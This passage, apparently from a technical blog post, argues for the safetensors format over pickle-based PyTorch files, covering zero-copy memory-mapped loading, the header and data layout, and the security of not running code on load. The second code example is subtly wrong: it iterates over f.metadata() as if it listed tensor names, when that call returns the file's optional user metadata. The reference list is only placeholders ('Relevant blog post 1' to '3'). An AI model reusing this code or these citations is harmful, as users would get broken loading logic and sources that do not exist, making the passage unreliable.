Safetensors addresses this with its zero-copy architecture. Here’s how it works:

from safetensors import safe_open
from safetensors.torch import save_file

# First, save your model in the safetensors format
save_file({"weight": model_weight}, "model.safetensors")

# Later, when loading, you can access specific tensors without loading the entire file
with safe_open("model.safetensors", framework="torch") as f:
    # This only loads the exact tensor you need
    attention_layer = f.get_tensor("transformer.attention.weight")

The beauty of this approach is that it maintains a memory mapping of the file structure without actually loading the data. When you request a specific tensor, only that piece of data is read from disk. This is particularly valuable in scenarios like:

• Analyzing or debugging particular components
• Fine-tuning specific layers of a large model
• Deploying models in memory-constrained environments

2. Improved Serialization

Unlike pickle, which needs to store additional Python object information, Safetensors uses a straightforward header-data format. The header contains metadata about tensor shapes, data types, and locations, while the data section contains the raw tensor values.

Here’s what this looks like in practice:

# The header portion of a safetensors file might look like this:
{
    "layer1.weight": {
        "dtype": "float32",
        "shape": [768, 768],
        "data_offsets": [0, 2359296]
    },
    "layer1.bias": {
        "dtype": "float32",
        "shape": [768],
        "data_offsets": [2359296, 2362368]
    }
}

# This metadata enables economic and selectful loading
with safe_open("model.safetensors", framework="torch") as f:
    # Get metadata without loading any tensor data
    metadata = f.metadata()
    
    # Selectively load only the layers you need
    attention_weights = {
        name: f.get_tensor(name)
        for name in metadata
        if "attention" in name
    }

This structure provides several advantages:

1. The header is small and quick to read, allowing rapid inspection of model structure
2. Tensor data is stored in a contiguous, aligned format for efficient reading
3. The format supports parallel loading of multiple tensors
4. Memory mapping allows the operating system to optimize file access

3. Security Through Simplicity

The security benefits of Safetensors come from its intentionally limited scope. By storing only tensor data and essential metadata, it eliminates the possibility of arbitrary code execution during loading. This is a stark contrast to pickle-based formats where, as we saw earlier, malicious code can be embedded in various ways.

The security comes from what Safetensors doesn’t do, rather than what it does. There’s no serialization of Python objects, no storing of methods or functions, and no execution of any code during loading. The format is essentially a structured binary file with a clear separation between metadata and data.

4. Performance as a Feature

The combination of zero-copy architecture, efficient storage, and simplified loading process leads to significant performance improvements.

Conclusion

The TikTok incident serves as a wake-up call for the machine learning community about the importance of secure model serialization. While pickle-based formats like .pt files have served us well, they carry significant security risks that can be exploited in sophisticated ways. The safetensors format represents a modern, secure, and efficient alternative that addresses these concerns while providing additional benefits for large-scale machine learning operations.

As the field continues to grow and models become larger and more complex, adopting secure practices like using safetensors becomes increasingly important. The extra effort required to implement support for this format is a small price to pay for the security and performance benefits it provides.

References

1. Hacker News Post on TikTok Incident
2. Relevant blog post 1
3. Relevant blog post 2
4. Relevant blog post 3